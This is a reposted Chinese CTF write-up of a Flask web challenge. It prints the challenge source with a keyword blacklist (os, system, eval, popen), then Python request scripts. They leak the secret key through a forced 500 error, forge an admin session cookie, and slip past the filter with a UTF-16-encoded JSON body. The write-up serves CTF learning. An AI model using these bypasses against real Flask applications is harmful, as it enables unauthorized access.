CISCN2021 西北赛区分区赛 Web xb_web_flask_trick
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CISCN2021 西北赛区分区赛 Web xb_web_flask_trick相关的知识,希望对你有一定的参考价值。
前言
6.5号去了兰州打了分区赛,4道Web出了web1和web4,web2和web3都不会。这题flask是web3,讲道理对我这种对flask不熟悉的弟弟来说还是挺难的,比赛的时候只有西电的一个队伍出了。今天晚上在学长的帮助下终于出了这道题,也是学到了很多的东西。
源码
import os
from flask import Flask, request, abort, session
app = Flask(__name__)
app.config["SECRET_KEY"] = os.urandom(32)
def getflag1():
return "flag{test_"
def getflag1():
return "_flag}"
@app.errorhandler(500)
def error(error):
return app.config["SECRET_KEY"]
@app.before_request
def waf():
if request.method == "POST":
blacklist = [b"request",b"Flask",b"admin",b"app",b"import",b"os",b"system",b"eval",b"exec",b"popen",b"file",b"class",
b"mro",b"g",b"get",b"\\\\",b"open",b"read",b"built"]
print(request.content_type)
# print(b"|"+request.get_data()+b"|")
if request.get_data() == b"":
return None
if request.content_type == "multipart/form-data":
abort(403)
elif request.content_type == "application/json" :
data = request.get_data().decode("unicode_escape")
if "admin" in data or "\\\\" in data:
abort(403)
elif request.content_type == "application/x-www-form-urlencoded":
data = request.get_data()
if b"%" in data:
abort(403)
else:
data = request.get_data()
print(data)
for i in blacklist:
if i in data:
print(i)
print(data)
abort(403)
return None
@app.route("/1",methods=["POST"])
def flag1():
try:
data = request.get_json()
if data["username"] == session["username"] == "admin" :
return getflag1()
except Exception as e:
return str(e)
@app.route("/2",methods=["POST"])
def flag2():
try:
data = request.form
if data["username"] == session["username"] == "admin":
return getflag1()
except Exception as e:
return str(e)
app.run(host="0.0.0.0")
不过我总觉得这个源码应该是有问题的,这样看的话其实只能得到一半的flag,应该真正的是一个是getflag1
,一个是getflag2
。
当时比赛的时候发现这个源码扔本地就能直接跑,所以就在本地调试,但是也没出,还是对python和flask不太熟啊。而且也是线下,查不到资料,有时候没有思路的话真的就只能干坐着。
WP
一共2个路由,分别得到一半的flag。第二个路由的思路比较简单,所以先从第二个路由那开始。
路由2
data = request.form
if data["username"] == session["username"] == "admin":
return getflag1()
except Exception as e:
return str(e)
取的是request.form
,当时线下没网,我也不清楚request.form
,但是还是出了。现在查一下:
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
可以看到multipart/form-data
被ban了,所以只能applicaation/x-www-form-urlencoded
:
if request.content_type == "multipart/form-data":
abort(403)
而巧合的就是application/x-www-form-urlencoded
没有把admin
给ban掉:
elif request.content_type == "application/x-www-form-urlencoded":
data = request.get_data()
print(data)
if b"%" in data:
abort(403)
所以可以直接打。但是1和2都要绕的就是session['username']='admin'
。2种办法当时线下我都没想到,1个就是拿flask的session伪造的脚本来跑那个伪造的session,但是我当时电脑里没这个脚本。第二种方法就是本地搭建flask,然后给session赋值来得到。
但是这2种都需要先得到SECRET_KEY
。源码中是这样的:
app.config["SECRET_KEY"] = os.urandom(32)
@app.errorhandler(500)
def error(error):
return app.config["SECRET_KEY"]
怎么得到500响应码,让程序返回SECRET_KEY
也是件难事。学长说可以这样:
成功500响应码得到SECRET_KEY
。不过因为是乱码,所以拿python来得到:
import requests
url="http://192.168.245.1:5000/1"
data='{"1":"\\\\u"}'
headers={
"Content-Type": "application/json"
}
r=requests.post(url=url,data=data,headers=headers)
print(r.text.encode())
可以得到:
b'\\xef\\xbf\\xbd\\xef\\xbf\\xbds\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbdx\\x14\\xef\\xbf\\xbd\\xef\\xbf\\xbd`\\xef\\xbf\\xbdi\\xef\\xbf\\xbdc/\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\x1b\\xef\\xbf\\xbd\\xef\\xbf\\xbd:\\x1a\\x13?}?\\x13\\x1dY'
然后在本地开个flask,伪造一下session:
app.config["SECRET_KEY"]=b'\\xef\\xbf\\xbd\\xef\\xbf\\xbds\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbdx\\x14\\xef\\xbf\\xbd\\xef\\xbf\\xbd`\\xef\\xbf\\xbdi\\xef\\xbf\\xbdc/\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\x1b\\xef\\xbf\\xbd\\xef\\xbf\\xbd:\\x1a\\x13?}?\\x13\\x1dY'
@app.route("/3",methods=["POST"])
def flag3():
session['username']="admin"
然后带上session即可:
路由1
路由1其实说难也不难,主要就是构造的问题。当时比赛的时候给了hint:看源码。但是对于python还是不熟,所以就没能跟到。
@app.route("/1",methods=["POST"])
def flag1():
try:
data = request.get_json()
跟进一下get_json()
的源码:
def get_json(self, force=False, silent=False, cache=True):
"""Parse :attr:`data` as JSON.
If the mimetype does not indicate JSON
(:mimetype:`application/json`, see :meth:`is_json`), this
returns ``None``.
If parsing fails, :meth:`on_json_loading_failed` is called and
its return value is used as the return value.
:param force: Ignore the mimetype and always try to parse JSON.
:param silent: Silence parsing errors and return ``None``
instead.
:param cache: Store the parsed JSON to return for subsequent
calls.
"""
if cache and self._cached_json[silent] is not Ellipsis:
return self._cached_json[silent]
if not (force or self.is_json):
return None
data = self._get_data_for_json(cache=cache)
try:
rv = self.json_module.loads(data)
except ValueError as e:
if silent:
rv = None
if cache:
normal_rv, _ = self._cached_json
self._cached_json = (normal_rv, rv)
else:
rv = self.on_json_loading_failed(e)
if cache:
_, silent_rv = self._cached_json
self._cached_json = (rv, silent_rv)
else:
if cache:
self._cached_json = (rv, rv)
return rv
注意到rv = self.json_module.loads(data)
,继续跟进:
@staticmethod
def loads(s, **kw):
if isinstance(s, bytes):
# Needed for Python < 3.6
encoding = detect_utf_encoding(s)
s = s.decode(encoding)
return _json.loads(s, **kw)
发现对传入的字节可能要进行解码,跟进detect_utf_encoding(s)
:
def detect_utf_encoding(data):
"""Detect which UTF encoding was used to encode the given bytes.
The latest JSON standard (:rfc:`8259`) suggests that only UTF-8 is
accepted. Older documents allowed 8, 16, or 32. 16 and 32 can be big
or little endian. Some editors or libraries may prepend a BOM.
:internal:
:param data: Bytes in unknown UTF encoding.
:return: UTF encoding name
.. versionadded:: 0.15
"""
head = data[:4]
if head[:3] == codecs.BOM_UTF8:
return "utf-8-sig"
if b"\\x00" not in head:
return "utf-8"
if head in (codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE):
return "utf-32"
if head[:2] in (codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE):
return "utf-16"
if len(head) == 4:
if head[:3] == b"\\x00\\x00\\x00":
return "utf-32-be"
if head[::2] == b"\\x00\\x00":
return "utf-16-be"
if head[1:] == b"\\x00\\x00\\x00":
return "utf-32-le"
if head[1::2] == b"\\x00\\x00":
return "utf-16-le"
if len(head) == 2:
return "utf-16-be" if head.startswith(b"\\x00") else "utf-16-le"
return "utf-8"
可以发现这个request.get_json()
会自带对传入的数据进行相应的解码,而waf是这样:
elif request.content_type == "application/json" :
data = request.get_data().decode("unicode_escape")
if "admin" in data or "\\\\" in data:
abort(403)
这里的waf是对request.get_data().decode("unicode_escape")
之后的进行过滤,而我们传入的在get_json()
中可以通过非utf-8解码来得到admin,从而绕过admin的waf。
攻击:
import requests
print('{"username":"admin"}'.encode("utf-16"))
url="http://192.168.245.1:5000/1"
data=b'\\xff\\xfe{\\x00"\\x00u\\x00s\\x00e\\x00r\\x00n\\x00a\\x00m\\x00e\\x00"\\x00:\\x00"\\x00a\\x00d\\x00m\\x00i\\x00n\\x00"\\x00}\\x00'
#data='{"username":"\\\\u"}'
headers={
"Cookie":"session=eyJ1c2VybmFtZSI6ImFkbWluIn0.YL4kqA.XDtgpnjkSuVsrDQbCbKXnR1P6i4;",
"Content-Type": "application/json"
}
r=requests.post(url=url,data=data,headers=headers)
print(r.text.encode())
从而得到完整的flag。学到了学到了。
以上是关于CISCN2021 西北赛区分区赛 Web xb_web_flask_trick的主要内容,如果未能解决你的问题,请参考以下文章